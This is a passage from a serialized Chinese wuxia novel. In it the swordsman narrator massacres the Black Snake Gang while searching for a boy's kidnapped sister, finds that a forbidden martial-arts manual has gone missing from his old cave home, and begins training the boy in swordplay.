我们兄弟四人被这突如其来的异象吓傻了。八茅师父索性抱起四弟,另一只手死死地攥住我的胳膊,奋力地跑向了另一座大山,把大哥和二哥远远地抛在了身后。 很快,一道闪亮的霹雳划过夜空,照亮了整座大山。 暴雨来临之时,八茅师父好不容易在半山腰处找到了一个低矮的山洞,他将我和四弟塞入洞中,对我说,看好你弟弟,我去找你哥哥! 我说,师父,你别去,外面太危险了。 八茅师父冲我微微一笑,说,我必须去,你哥哥还在等我。 我望着天上的月亮,那一圈荡漾开来的光圈忽闪着。四周开始起风,我对余十三说:“快找个地方躲起来,要下雨了。” 余十三看着天上的月亮,说:“不能停,我妹妹还在等我。” 这一句话陡然之间将我拉回了那个风雨交加的夜晚,那个瘦骨嶙峋已孱弱得如同薄纸一样的八茅师父,面对着狂风骤雨也是这般坚持着不肯放弃。 风越刮越疾,越刮越狠。掀起地上的沙砾,打在我的脸上如同是刀割一样的疼。 余十三毫不动容。他依旧咬着牙,目光坚毅地朝着那个汉子跑去的方向快速地走着。即便是那呼呼而来的狂风,已经让人举步维艰。 他依然在坚持。 一条小溪映入眼帘。溪水被狂风掀起波浪竟如同是江河湖海中一般汹涌。一条拱形的小桥架在肆虐的溪水之上,在狂风中屹立着,纹丝不动。 而小桥的另一端,便是一片灯火通明的殿宇。一大片宏伟壮观的殿宇。 那便是黑蛇帮的老巢了。 在这个蛇头山上,除却黑蛇帮,恐怕再也没有人敢建造起这样的建筑。 余十三脸上露出惊喜之色,我感觉他是又看到了希望。 他迎着狂风,快速地跑着。不知道他小小的身体里,哪里迸发出了如此不可抵挡的力量,就连这足以拔起大树的狂风,都无法阻止他奔跑的步伐。 3. 绍兴二十年六月。 我迈进了黑蛇帮的大门。 那时候,黑蛇帮上下早已严阵以待。在百花洞外逃回的四个汉子,把我和余十三闯山的消息传进了黑蛇帮。 数百名黑蛇帮弟子在一片宽阔的场地上刀剑直挺,正等待着我和余十三送上门来。 果然,一个身材圆润的汉子从人群中走出。狂风撩动着他略有些凌乱的头发,他目光如炬,冲着我大喊:“来者可是前武林盟主,姬旦丙大侠?” 笑声如雷,压过了风声。 我攥紧双拳,大声回应:“你是谁?” 那圆润的汉子回道:“在下徐长风,是这黑蛇帮的帮主。” “姓徐的!”余十三上前一步,大声吼道,“把我妹妹还给我!” 徐长风瞥了余十三一眼,不屑地说:“毛头小子不知天高地厚,也敢到我黑蛇帮来撒野,今日就让你知道我黑蛇帮是怎么样的地方!” 我对徐长风说:“黑蛇帮是怎样的地方,江湖上早就已经传遍了。” 徐长风微微一笑,说:“既然如此,姬大侠还来我黑蛇帮,想必是知道今日是老夫的寿辰,来喝一杯喜酒的了?” 我毫不客气地说:“不是!” 徐长风面色一冷,说:“那是所谓何事?” 我说:“救人!” 徐长风放声大笑,他说:“从来没有人可以在我黑蛇帮救走任何人。” 我说:“我可以!” 徐长风目光一凛,死死地盯着我,没有说话。这时,他身后站出一个身材魁梧的汉子,对着徐长风一抱拳,说道:“帮主,让我会会这不知天高地厚的小子。” 徐长风伸出两根手指分别指着我和余十三,问:“你要会哪一个?” 那魁梧的汉子一愣,说:“当然是那个姓姬的!” 徐长风冷笑一声,轻蔑地说:“就凭你?!你以为你比韩千浪的本领还要大吗?” 那汉子被徐长风一句话憋得满脸通红,支支吾吾地问:“那,那总不能由着他在这里撒野吧?!” “撒野?!”徐长风冷哼一声,说,“想都别想。”说罢,他退入人群中,大声喊道:“给我一起上!” 话音一落,数百名刀剑直挺的黑蛇帮弟子如同潮水一般向我涌来。 我一把抓起余十三,用力向黑蛇帮门外一扔,将他抛到十丈之外。 所有的危险,便有我一人来阻挡吧! 眼看着人如潮涌,每一个人都似乎是想要将我碎尸万段一般。这样的场面,我又岂止是一次经历过? 只是当人群向我不断接近的时候,我却犹豫了。 青光血芒。 那一刻,我清晰地感受到了两把剑同时向我发出了请战的意愿。我的手习惯性地攥住了青光剑的剑柄,但却犹豫着,不知道是不是还要向以往一样将它拔出。 很快,冲着最前面的人拔刀伸到了我的胸口。 他脸上露出喜悦之色。他是以为自己便可以这么轻而易举地夺走我的性命吗? 终于,我不再犹豫。 我将手伸向了另一把剑的剑柄。猩红色的光芒从雪银剑鞘里跃出的那一刻,我感觉到一股强大的愤怒正在我胸口膨胀。 那愤怒化作一股让人疯狂的戾气,却也带给我了我穷尽的力量。 那一刻,我忘记了所有的招式,杀入了人群。 他们不过是一群江湖的败类,一群比山匪盗贼还要残忍的恶徒。 他们本就该死! 血雨腥风,腥风血雨……我在一片凄厉的嘶吼中,无所顾忌地发泄着自己的疯狂! 第一百八十三章 失望 风,停了。 雨,并未如期而至。 当杀戮的疯狂褪去之后,我感觉到前所未有的疲惫。 映入眼帘的,是堆积如山的死尸。还有徐长风那张已吓得惨白的脸。 他看着我,浑身不住地颤抖着。在他的眼中,我仿佛就是一个从地狱里爬出的恶鬼。 我可以想象自己的模样,全身上下,鲜血淋漓,却没有一滴血是我自己的。 我手上拿着猩红的血芒剑。它并不是因为沾染了无数的鲜血才变红的,它本来就是像血一样的红,由内而外,透着血腥的杀气。 余十三略过一具又一具尸体走到我身旁。他应该感到害怕。他这样的年纪,应该没有见过如此血腥的杀戮。 但余十三的脸上却十分地冷漠。他冷漠地看着已是孤家寡人的徐长风,一字一字地问:“我妹妹在哪里?” 徐长风脸色苍白,但他仍旧强撑着保持着自己身为一帮之主最后的尊严。他说:“凭你这个毛头小子也敢这样问我!” 面对着比他强出许多的徐长风,余十三毫无惧色,他向前迈了两步,再问:“我妹妹在哪里?” 徐长风愣住了,他看余十三的眼睛里,又如同看到我一般的恐惧。 徐长风咬着牙,没有回答。余十三突然身子一动,箭步冲了上去,手中的匕首直直地冲着徐长风的眼窝刺去! “嘭!” 一声闷响。余十三被徐长风一脚踹了回来。他倒在别人的血泊里,沾染了一身的血渍。但他却强忍着又站了起来,就像是头发狂的野兽一般,紧紧地攥着匕首,又一次冲了过去。 “嘭!” 已经不知道他被徐长风踹飞了多少次。他的嘴角沁出血水,他依旧保持着不肯动摇的凶狠,一抿嘴角,又要冲向徐长风。 我拉住余十三的手,说:“我来。” 话音刚落,原本在远处踹余十三踹得越发得意的徐长风脸色大变,他踉跄着退了两步,调头向后院跑去。 “站住!”余十三大吼一声,挣开我的手,快步追了上去。 一路没命的追赶。少年的步伐疯狂而迅速。很快,在一处回廊的尽头,余十三截住了逃窜的徐长风。 徐长风先是一怔,当他发现拦截他的人是余十三的时候,舒了一口气,说:“臭小子,快滚开!”说罢,他从腰间抽出一柄大刀,冲着余十三的头颅砍去。 我站在十几米在,眼看着余十三的脑袋就要被徐长风当作西瓜一样,一分为二,慌忙提起血芒剑,聚内力于掌心,在剑柄处一推。 血芒剑发着尖锐的破空声飞向了徐长风。 “当”的一声。徐长风手中的刀被飞射的血芒剑带走了。又是“当”的一声,血芒剑穿透徐长风的刀刃,将那柄刀牢牢地钉在了墙上。 徐长风慌忙调头向回跑,一转身,却看见我已经挡在了他来时的路上。 “放,放了我!”徐长风央求着,“黑蛇帮所有的钱都是你们的!” “我妹妹在哪里?!” 余十三不忘初心,始终在追问余青儿的下落。 “我,我真的不知道啊!”徐长风脸色惨白,颤颤巍巍地说,“黑蛇帮各堂的生意我从不过问,都是几个堂主在经营。尤其是韩千浪,他抓了谁,卖了谁,我向来不管。” 我说:“身为一帮之主,你不管这些管什么?” 徐长风说:“管钱,管人。” 余十三显然不能接受这样的结局,他用匕首抵住徐长风的后腰,说:“你一定有办法!告诉我,怎么才能找到我妹妹!” “我,我真的没有办法!”徐长风为难地说,“那些事一直都是采.花堂的人在做,现在……他们已经死绝了!” 死绝了! 这三个字仿佛是针一样地扎进了余十三的心中,因为我在他的脸上看到了失望的痛苦。 也正因如此,余十三的手缓缓地捶了下去,他嘴上喃喃地不只是念叨着什么,精神也变得有些恍惚。 徐长风敏锐地捕捉到了余十三的变化,他身子一动,顺势将余十三擒住,反手成爪捏住了余十三的咽喉! “别动!”徐长风狞笑着向我威胁道,“再敢动,我便杀了他!” 我没有动。 徐长风满意地点了点头,说:“很好!姬大侠,你我素无冤仇,今日你却灭了我黑蛇帮满门,使我三年来的心血付之东流!但我大人有大量不与你计较,只要你在我面前斩断自 己的双手,你我便恩怨两清,自此在江湖上老死不相往来,如何?” 徐长风的手在余十三的喉咙上又捏紧了几分,余十三的脸因血流受阻而渐渐涨红。但他的脸上,我看不到一点儿的害怕。 “姬大侠!”徐长风说,“不要犹豫了!不然这小子的命可就没了!” 我举起青光剑,思索着……突然,我意识到一个问题,我说:“我做不到!” 徐长风一怔,继续威胁道:“你真的不在乎这小子的性命吗?” 我说:“真的做不到。”然后,我提起剑鞘比划着,向徐长风解释,说:“你看,若我用右手砍了自己的左手,那么我再如何去砍自己的右手呢?” 徐长风愣住了,他呆呆的看着我,突然脸色大变,冲我吼道:“早听闻姬大侠思路清奇,今日一见果然……果然令在下大开眼界!” 我将青光剑的剑柄递给徐长风说:“要不然,你亲自来砍!” 徐长风啐了一口,说:“呸!老夫若松开这小子,哪里还是你的对手,你莫要那老夫当傻瓜!你先砍了自己的左手!” 我犹豫不决,难道真的要为了这个小子而砍去自己的手吗? “快点!”徐长风咆哮着。 我缓缓抽出青光剑,青色的剑刃上映着我的眼睛,我看着自己眼睛中闪烁的犹豫,始终无法下定决心。 “别!” 余十三艰难地发出声音,说:“不要上他的当。” “好你个臭小子!”徐长风气急败坏,骂道,“再说话,老子这就杀了……” 那个“你”字并没有在徐长风的口中说出来,我已经趁着他分神的片刻,将青光剑送进了徐长风的咽喉! 青光剑从徐长风的喉咙刺入,又从他的后颈穿了出去! 血,从徐长风的伤口涌出,顺着青光剑流淌着,滴在余十三的脸上。 余十三掰开徐长风的手,将还未全然失去意识的徐长风推开。他目光闪烁着,手中的匕首紧紧地攥着。 我上前拉住他,任凭他如何挣扎也不敢把手松开。因为,我真的担心,眼前的徐长风会变成另一个韩千浪! (新建企鹅群:817500749,欢迎加入……) 第一百八十四章 离开 1 虽然,整个蛇头山的人都死在了我的剑下。 但我不知道为什么,那夜的事情依旧传遍了整个江湖。 江湖人疯传,一盘好菜重出江湖,一夜之间荡平了整个蛇头山。 有的人相信,却也有的人根本不信。 比如,括苍派的人,他们亲眼看着我被刀刺破胸膛,然后跳下悬崖。在他们的眼中,我是一个早就已经死掉的人。 从蛇头山上走出来以后。 余十三变得和我一样迷茫。他呆呆望着眼前的路,突然放声大喊。 我知道他在喊什么。因为,那个时候的我们两个人,同病相怜。 余青儿失踪了,她和纾瑶一样,消失在茫茫无际的天地中,下落不明,生死未卜。 但是,我们谁都不能放弃。 因为,我和余十三都坚信,我们要找的人,一定就在这世间的某个角落里等着我们。 我问余十三“你要去哪里?” 余十三摇了摇头,说“我……不知道。” 我说“跟我走吧。” 余十三怔了怔,问我“你要去哪里?” 我说“藏龙涧。” 2 溪水淙淙,落花藏龙。 这是我一生中最喜爱的,也是最留恋的风景。 我曾不止一次的以为,这个地方,就是我和小月一直在苦苦寻觅的天涯海角。 直到陈伯洋的出现,直到纾瑶的失踪,直到那些美好的幻想突然变成了残酷的现实…… 余十三踏着水中的石头跳过溪流。溪水撞击在石块上溅起的水花,打湿了余十三的裤腿。 余十三看着自己被打湿的裤腿,在蛇头山上沾染的血渍已经凝固成了一闪暗紫的颜色。他双手扶在腰间,向下一推,露出青色的底裤和嫩白的大腿。 我说“你要做什么?” 余十三说“洗裤子。” 说罢,他毫不犹豫地走到溪水边,把裤子投入水中,揉搓了起来。 我看着自己满身已经发硬的血渍,顿时感觉难受无比,便蹲在余十三身旁,笑着说“你是不是说,欠可我的恩情要还?” 余十三停下手上的动作,看着我说“不错。你想要我做什么?” 我把衣服和裤子全都脱了下来,扔到余十三身边说“帮我洗干净,你欠我的就算还清了!” “当真?!”余十三疑惑地看着我。 我说“千真万确。” 余十三在溪水边专心致志地洗着衣服,他手上的动作十分娴熟,一看便知道是经年劳作的样子。 就这样让他把恩情还掉吧。我本来也不想让他觉 得,他总是欠我什么。 我走进山洞。 这是曾是我异常温馨的家。一切如故,所有的物品摆放得还是我离开时的样子。 恍惚间,我仿佛看到纾瑶的正躺在石床上嘤嘤地睡着,小月正温柔地坐在床边缝补着我破损的衣服。 她们都在! 我刚想要去喊她们的名字,又是一阵恍惚,却是一个空空荡荡的山洞,冰冷的石床上,没有任何的温度。 我一阵失落。走到山洞角落里的柜子便,拿了一件衣服,快速地穿在身上。 胸腔的伤口已经愈合了,留下了一道骇人的伤疤,用手一按,伤疤处还会传出一阵隐隐约约的刺痛。 我在柜子里翻找出另外一件衣服,想象着它穿着余十三身上的样子。大概……也不会太丑。 我把衣服收入怀中,刚要离开。突然,一个念头闪过,我的心如同电掣一般地抖了一下。 那个柜子里,有一件原本一直都在的东西,为什么不见了? 我把柜子里的衣服一件一件地扒出柜子,发疯一样地寻找着。直到把整个柜子掏空了,我依旧没有找到。 金刚伏魔功的秘籍。 不!应该是摩诃钵特摩咒! 当年,夏尔马临终之前将这本书交给我,让我把它毁掉。然而,当我把它扔进火堆里时,却又忍不住把它捡了回来。 并不是我舍不得那本秘籍上的武功,而是我想起了夏尔马的执着,我想起他曾经说过的话,这辈子若他不能将摩珂钵特摩咒带回天竺,那么下辈子他会继续寻找。 我想,若真的可以有下辈子的话,我不如将这本书留着身边。或许,投胎转世之后的夏尔马还会找到我。若他来找我,他那黝黑的皮肤和闪亮的白牙,即便是在最为拥挤的人群中我也可以一眼认出他。 所以,我把摩珂钵特摩咒锁在了一个木匣子里,藏在了山洞的柜子中。 可现在,它却不见了! 是谁拿走了那本书呢?会是劫走纾瑶的人吗? 陆家山庄,陆石修炼摩珂钵特摩咒的时候,我曾亲眼目睹到它的恐怖。那浑身散发着阴寒气息,双目猩红的陆石像魔鬼一样又浮现在我的脑海中。 “我洗完了!”余十三突然闯进山洞,他的声音打断了我的思绪。 我扭头看他,他全身赤裸着,只剩下一条青色的底裤。他手上提着湿漉漉的衣服,衣服上仍然还残留着洗不去的血渍。 我从地上捡起为他找出的那身衣服,扔到他身上,说“穿上他,不用着凉。” “这,这是谁的衣服?”余十三问。 我说“是我的衣服。” “你的?”余十三面带疑惑,他扫量着四周,说,“那这里是” 我想都没想,脱口而出,说“我家。” 家?! 话一出口,连我自己都愣住了。我打量着这个我居住了很久的山洞,回想着它曾经带给我的安宁与舒逸,那的确就是一种家的感觉。 “你在想什么?”余十三的手在我脸前晃了晃。我回过神来,看见他已经将衣服穿上,虽然袖子和裤脚都略长了一些,但总体来说还算合身。 我说“很好。” 余十三问“你为什么要回这里来?你不是要找你的女儿吗?” 我说“我只是想确认,我的女儿会不会从来没有离开过藏龙涧。” 余十三说“那你发现了什么?” 我说“我发现我不仅丢了女儿,还丢了别的东西。” 3 到底会是什么人拿走了摩珂钵特摩咒? 经过了一夜的思考,我终于想到了至关重要的一点。若想要知道是什么人拿走了那本书,关键是有什么人知道那本书在我手中。 而这个世界上,能够知道这本书在我手中的,也只有两个人——一个是已经死去的夏尔马,而另一个则是 “陆石!” 我将手中的枯枝折断,扔进了熊熊燃烧的火堆之中。 难道真的是陆石?难道他经历了那么多,依然不肯死心吗? 天色微亮,余十三也是一夜未眠。他静静地坐在我身旁,一夜间没有说一句话。只是在我说出“陆石”的一瞬间,他疑惑地看了我一眼,问“陆石是谁?” 我说“一个我不喜欢的人。” 4 绍兴二十年六月的那天。我带着余十三走出了藏龙涧。 这一次,与上一次不同。那日我和小月匆匆离开,为的仅仅是追查纾瑶的下落。而这一次离开,我总感觉其中带了另外一些意味。 那时候的我,便隐隐约约地觉得,这一次离开恐怕再也不会回来了。 (本章完) (教育123文学网) 第一百八十五章 练剑 1. 我答应余十三一定会帮他找到他妹妹。所以,我要求他要寸步不离地跟在我身边。 之所以这么做,是因为我担心他这样的性格冒失地在江湖上闯荡,不知什么时候,遭遇什么样的危难,他便会没了性命。 余十三问我:“你为什么要帮我。” 或许是缘分吧。虽然相处短暂,但我总感觉自己和余十三之间有着难以描述的奇妙缘分。自是冥冥之中,我在四年前无意间救他一命。又是在冥冥之中,四年后,他又将那一命还给了我。 这便是天意吧。 但我并没有这么回答他。我告诉他,我帮你一个人,从来不需要理由。 余十三默然地跟在我身后,过了很久,他突然跑到了我跟前,目光坚定地看着我,说:“你可以教我武功吗?” 我从来没有教过别人武功。我甚至都不确定自己是不是学过武功。我总不能告诉余十三说,我的师父一个会发射银针的竹筒还有汀兰古穴中那些挂在石壁上毫不连贯的小人吧。 我只能拒绝,说:“不行。” 余十三不肯放弃,他伸手拦住我的去路,说:“你要怎么样才可以答应教我武功?” 我问:“你为什么要学武功?” 余十三说:“如果我会武功,如果我可以像你一样厉害,我妹妹便不会被人掳走了。” 这样的说法是多么幼稚可笑。 我凄凄地笑着,说:“如果真的是那样,我的女儿就不会丢了,我的妻子也不会死。” “起码你有能力去找!”余十三喊道,“而我......若没有你帮我,只怕我永远都见不到我妹妹了。”少年第一次向我示弱,他的目光尤为落寞。我原以为倔强的他是任凭什么艰难都不可战胜的,但他在与我共同经历了蛇头山一战后,充分认识到了我的强大和自己的不足。 我很满意。 但我仍然要拒绝。因为,我真的不知道如何教余十三武功。 少年执着的眼睛就那么盯着我,把我到了嘴边拒绝的话生生噎了回去,并让我无意识地从嘴里发出了一个“好”字。 就在那一声“好”脱口而出的瞬间,余十三噗通跪在地上,冲我连磕了三个响头,任凭我如何阻拦都阻拦不住。 余十三额头上带着青紫的印记,冲我喊道:“师父!” 我说:“不要叫我师父!”因为,这会让我想起我的师父陈八茅。并不是因为我不愿想起八茅师父,只是他那短暂的一生里所给我留下的故事,总是让我莫名地觉得悲伤。 “那我要叫你什么?”余十三不解地问。 我想让他喊我一声“大哥”,但我又突然想到了李小谦,这个称谓当即被我否决。这时,我才发现,原来确定一个称谓比我更改自己的名字更加艰难。 我将跪在地上的余十三扶了起来,说:“等我想好了再告诉你吧。” 余十三默默地点头,在他的脸上,没有因为我答应教他武功的喜悦,也没有因为我说不出一个称谓的失落。这个少年的胸膛里,始终揣着一 颗我看不透的心。 2. 那夜,在赶往陆家山庄的路上,我和余十三住进了一家酒馆。 小镇上的酒馆,平淡无奇,就如我这一生中经历的所有小酒馆一样,平凡而普通。 但是,越是这样名不见经传的小店里,越是藏着别有味道的酒。 或许是心情的低落使然,那一夜我喝了很多酒。直到我感觉自己浑身绵软无力,周边所有的事物都在摇晃的时候,余十三走到了我的跟前。 我将酒盏递到他的面前,给他斟满酒,说:“陪我喝一杯。” 余十三看着碗里漂浮的酒花,一个接着一个无声地破裂,他摇了摇头,说:“我从来不喝酒,我只喝水。” 我冷冷地一笑,说:“你知道喝水与喝酒的区别吗?” 余十三摇了摇头,说:“不知道。” 我端起酒盏,醉眼迷离,那盏中的酒如同是海水一样在我眼前掀动着波涛。我费了很大的力气,才将那一盏烧喉的烈酒送入口中。我说:“一个人的心里觉得冷的时候,就必须要喝酒。因为,酒会越喝越暖,而水只会越喝越寒。” 余十三将一只空盏推到我面前,提起桌面上质朴的茶壶。冒着白烟的热茶带着“哗啦啦”的响声落入空盏。余十三说:“那是因为,你喝的是凉水。” 余十三起身离开了,留下了醉眼迷离的我看着白烟腾腾的茶盏,只感觉更加的迷离...... 3. 我一直在为如何教授余十三武功而苦恼。 既然答应了他,他又一直跟在我身边,无所作为总觉得不是那么合适。 翌日清晨,我从醉生梦死中醒来,余十三清醒地坐在我跟前。他说:“我们是不是该走了?” 我看着从门外射入酒馆里的那一缕温暖的阳光,地上斑斑驳驳的影迹,还有余十三那略带催促的眼神,这些无一不在告诉我,新的一天又开始了。 只是,那段日子里的每一天,都令我感到异常的沉重。 “老板!”我揉着沉重的眼皮喊道,“结账!” 年轻的店老板站在柜台中,爽快地应了一声。随即,便是一阵“噼里啪啦”的算珠撞击声,扰得我心绪异常烦躁。 我从怀里随意掏出一锭银子当日在离开蛇头山的时候,我顺便洗劫了他们藏匿钱财的库房。 我将银锭捏在手中,向柜台的方向一掷。或许是酒醉未醒的缘故,力道控制得不是十分精准,这一掷用力稍稍打了一些。银锭在空中带着哨响,“梆”的一声嵌入了柜台旁的立柱上。 店老板吓得身子一摊,险些坐在地上。但当他一转头看见那枚如拳头大小的银锭时,眼中放出的光几乎堪比窗外明媚的太阳。 我说:“不用找了!”说罢,拉起余十三走出了酒馆。 走出酒馆之后,我突然心生一计,对于传授余十三武功之事,豁然开朗。 我问:“你真的想跟我学武功吗?” 余十三说:“我当然想。” 我说:“跟我学武功会吃很多苦。 余十三说:“我不怕吃苦。” 我说:“好!你只要能够接住我手上扔出的一百一十三颗石子,我便传授你十一式剑招。”我为自己机智窃喜,如此一来,我便可以按照我自己学习剑法的过程传授余十三武功。 我相信,我可以成为一名颇有成就的老师。 白天的时间不能耽搁,我必须要尽快赶到陆家山庄去。若真的是陆石真的没有对那本秘籍死心,若真的是他偷走了摩珂钵特摩咒。那么,这个时候他极有可能已经开始修炼那邪门的武功,甚至已经变成了一个疯子。 若纾瑶也在他手中,只怕她的处境会异常的凶险。 深夜,我和余十三没有找到歇脚的客栈酒馆,四周荒芜一片,没有村落,更没有人影。 我和余十三在一片茂密的树林中休憩。 趁着月色,我决定让余十三开始练习剑法。 余十三的脸上略过一丝兴奋,他从腰间拔出匕首,对着我说:“来吧。” 我怔怔得看着他手上的匕首,那匕首的确很锋利,但它却太短了。我将青光剑递给余十三,说:“用我的剑。” 余十三有些激动,但手将要触碰到青光剑的一刻却迟疑了,他说:“我,我从来没有用过剑。” 我说:“人生总有第一次。我教你的是剑法,当然要用剑来练习。” 余十三双手接过青光剑,但雪银剑鞘落在他手心的刹那,他的手臂却突然沉了一下。但余十三刹那间便将剑稳稳地拖住了,攥着手心,他说:“这把剑好沉!” 是吗? 或许它真的很重,只是我带的久了,习惯了,便再也感受不到它的重量了。 余十三拔出青光剑,柔和的青光照亮了余十三无畏的脸。 我问他:“准备好了吗?” 余十三重重地点了点头,说:“来吧。” 我捡起一颗石子,捻在拇指与中指之间,心中默默念着:“轻些用力,轻些用力。”然后,轻轻一弹,石子化作黑影飞出。 “当!” 余十三笨拙地挥了一剑。石子撞在青光剑的剑刃上,冒出一点隐隐约约的火花。余十三踉跄着站稳身子,面带喜悦,冲我喊道:“我接住了,我接住了。” 还没有等他兴奋太久,第二颗石子已在我手指间弹出。我见余十三不过接住了一枚石子便以露出得意的模样,因而这一道石子弹出之时暗中增加了许多力道。 虽然,我所施加的力道不过三分,但对于一个不懂武功的人来说,决然没有接住的可能。但我隐约间依旧期望在余十三的身上可以发生奇迹。 但是,我却并没有如愿听到石子撞击剑刃发出的那一声脆响,反而是听到了余十三的一声闷哼。 “咣当”一声,青光剑跌落在地上,余十三单膝跪地,一只手按在胸口,大颗大颗的汗珠从他额头上冒了出来。 但我依旧看不到他脸上露出丝毫痛苦,也没有一丝的畏惧,他只是紧紧地咬着牙。过了片刻,抓起地上的剑,顽强地站了起来,对我说:“再来!” 第一百八十六章 绍兴 1 又是一个明媚的早晨。 心情依旧如往常一样沉重。 沉默了一路的余十三突然问我“你的手怎么了?” 我端起缠着布条的手指,心中一阵恼火。昨夜间,余十三向我一再展示他不肯服输的个性,任凭石子弹飞如雨,打在他的身上,他依旧会倔强地站起来对我说,再来。 我被他的倔强所感染,只专注地将一颗又一颗地石子在手指间弹出去,却忘记了手指被石子棱角摩擦过的疼痛。 “没怎么。”我说。 余十三问“那你为什么要把手指缠起来?” 我没好气地说“因为疼。” 余十三终究是忍不住了,“噗嗤”一声笑了出来,那一笑之间,才让我真正觉得他就是一个无忧无虑的少年。 然而,余十三刚刚放开笑声,他的没有却痛苦地皱了起来,手捂着胸口,发出一声低沉地哼声。 昨夜间,我一共向他弹出来两百多枚石子,他总共接住了二十几枚,剩余的部分无一例外地打在了他弱小的身上。但是,他依旧强行忍受着痛苦,整个过程里没有向我说过一次停止的话,总是一再地告诉我“再来,再来”。直到我觉得,夜的确已经深了,才将他喊住。 那个时候,我便相信余十三一定会成为一个很厉害的剑客。这世间,努力过不一定会成功,但不放弃就不会失败。 2 两日后。我和余十三终于到了陆家山庄。 四年了,物是人非。当年里被发疯的陆石一掌险些打成冰人的弟子,也从当年圆润可爱的模样长成了一个精壮挺拔的少年。 他在门口舞者一根扫把,就像是舞剑一样,迈着陆家剑法里灵动的步子,在四周掀起一阵风。满地的落叶被他越扫越乱,他却全然不在乎,又仿佛那些飞舞的落叶是一个又一个的劲敌,而他手中的扫把就是一把锋利的剑。 “唰唰唰” 几声之后,原本杂乱的落叶,被他一番舞动之后遍地狼藉一片。他停下手中的动作,看着落叶飘满庭院,他却满脸都是喜悦。仿佛那满地的树叶,就是被他一一斩杀的敌人的尸体。 “你师父呢?”我本不忍打扰他,但却不得不打扰他。 那弟子回过头看向我,忽然眼睛一亮,扔下手中地扫帚,疯狂地向院子深处跑去。就好像是当年他见到夏尔马的时候一样。 可是,这个时候,我身边并没有夏尔马,只有余十三。 正在我疑惑之时。陆石的身影出现在通往后院的小门,他面带喜色,快步向我走来。 “哈哈哈”陆石朗朗地笑着,说,“ 是不是月儿回来了,月儿在哪里?” 他走到我身边时,依旧没有止住笑声。我没有回答他,只是直直盯着他的脸,暗暗地观察着他的面色。 陆石的面色红润,隐约间似有油光从毛孔里渗出,身材也比四年前更加饱满了许多,看得出这些年他心情顺畅,吃得很好。 从他的笑声中,我可以听出,他内力充盈,中气十足。言谈举止正常,丝毫没有发疯的迹象。 看来陆石并没有修炼摩珂钵特摩咒。 陆石的笑容渐渐收了起来,露出一副不悦之色。他说“你一直盯着我看,却也不说话,到底是什么意思?!” 我这才醒觉,自己只顾着观察陆石的状况,却忘了小月一再教我的见到他师父时应有的礼数。 “小婿拜见师父。”我躬身行礼。 陆石“嗯”了一声,脸上的愠色稍稍褪去许多,他说“月儿呢?为何没有与你一同进门?” 小月。 我的心忽然被刺了一下,只感觉异常的疼痛。面对陆石的询问,我要如何回答呢? “我问你话呢!”陆石喝道,“怎么这许多年不见,变得更加木讷了?!” 我一咬牙,说“小月死了!” 我看见陆石原本红润的脸色骤然变得煞白,他似乎是有一阵晕眩,踉跄着退了两步,险些栽倒在地上。 “你,你说什么?!”陆石上前抓住我的衣襟,喝道,“月儿,他是怎么死的?” 那时,我强忍着心中的悲痛,将从陈伯洋坠落藏龙涧开始,到纾瑶失踪,又到我和小月跳下括苍山的事向陆石一五一十地叙述了一遍。 陆石紧紧地攥着拳头,我看到他额头两侧不断跳动的青筋。突然,一阵灼热的气浪涌来,陆石一掌劈在了我的胸口。 我被陆石突如其来的一掌打退数步,胸口中血气翻涌,难以抑制,一口鲜血吐了出来。 “你要做什么?!”余十三挡在我身前,冷冷地盯着陆石。 陆石并没有理他,他用一双充满怨恨地眼睛死死地盯着我,说“你答应过我要好好保护月儿,如今却让她落得尸骨无存,你竟然还有脸回来见我!” 我抹去嘴角的血渍,说“我必须回来。因为,我要确认一件事情。” “什么事情?”陆石怒道,“有什么事情比你找女儿还要重要?!” 我说“前几日,我回过藏龙涧。那本原本被我藏在柜子里的摩珂钵特摩咒不见了。” 陆石眉头一皱,目光变得尤为阴冷。他说“你怀疑是我拿走了它?!” 我说“本来是。现在不是 了。” 陆石问“为什么?” 我说“因为你没有疯。” 陆石眼角突然抽出了几下,他抬起手又要对我施掌,但余十三死死地挡在我身前。陆石盯着余十三,说“你是什么人?你让开!” 余十三说“他还要教我武功,你不能伤他。” 陆石说“你让开,不然我连你一起打。” 余十三摇了摇头,说“不让!” “你!” 陆石的掌风骤起,直冲余十三的面门,但却在即将接触的刹那间,陆石的手掌一偏,掌风擦着余十三和我的耳畔飞过,打在我身后的石柱上,留下了一个深约半寸的掌印。 虽然是这样,但陆石脸上的愤怒丝毫没有减少,他不再看我,侧过身子冷冷地问我“你不去设法找你的女儿,反而要来找一本书。难道摩珂钵特摩咒难道比你女儿的安危还要重要吗?” “对我来说,这世上没有什么比纾瑶的安危更重要。”我说,“我之所以来,是因为我觉得掳走纾瑶的人和偷走秘籍的人,应该是同一个人。” 陆石忽然转过头来瞪着我,问“夏尔马大师不是叫你把那本书毁掉吗?你为什么没有毁掉?难道是你贪恋上面的武功,所以才” “不是!”我说,“我只是觉得那是夏尔马留给我的东西,我想留下了做个纪念。” “哈!”陆石说,“这世间还有如此愚蠢的想法!那本书会害了多少人,难道你不知道吗?!” 我当然知道! 所以,现在我由衷地后悔。 然而,大错已成,现在说后悔为时已晚。我向着陆石郑重地抱拳,说“既然我该看见的都看到了,那我就走了。” 陆石冷哼一声,问“你要去哪里?” 去哪里? 这真是一个难以回答的问题。 但无论要去哪里,这个问题都有一个唯一的答案,我说“去找女儿。” “等等!” 正在我拉着余十三准备转身离开的时候,陆石突然喊住了我。我转过头去,看着陆石一阵疑惑,问“还有什么事?” 陆石长长地叹息了一声,他的叹息中尽是无奈。从那无奈之中,我感受到了陆石对我的失望。陆石抬起头看了一会儿天,天上云朵飘过,似有风吹来,但我却感觉不到。 陆石说“茫茫江湖里,毫无线索地寻找一个人,岂不是大海捞针?!” 我说“但我没有别的办法。” 陆石说“我早已隐遁江湖,不再抛头露面,我帮不了你,但游儿却可以。你去一趟绍兴,让他帮你去找吧,多一个聪明的 人,可以低过千百个你。” 说罢,陆石又是一声长叹,转身离开了。 看着他离去的背影,我感到一阵厌恶。他本来就是一个做错过一次的人,一张纯白的人生上同样有了不可抹去的污点,凭什么可以带着颐指气使地模样,讽刺我,挖苦我? 仅仅是因为年纪大吗?! 3 陆游。 已经很久很久没有听到这个名字。听不到一个人的名字,更多的时候你便不会想到这个人,甚至是会完全忘记这个人。 直到陆石指点我去绍兴的那一刹那,许多年的往事才陡然回到了我的脑海。 